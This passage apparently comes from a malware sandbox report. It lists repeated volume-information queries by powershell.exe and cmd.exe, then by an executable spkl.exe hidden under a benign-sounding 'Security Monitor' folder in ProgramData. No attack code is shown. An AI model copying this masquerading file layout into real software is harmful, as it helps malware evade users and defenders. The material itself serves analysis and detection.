Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: \Device\CdRom0\ VolumeInformation
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Queries volume information: C:\ VolumeInformation
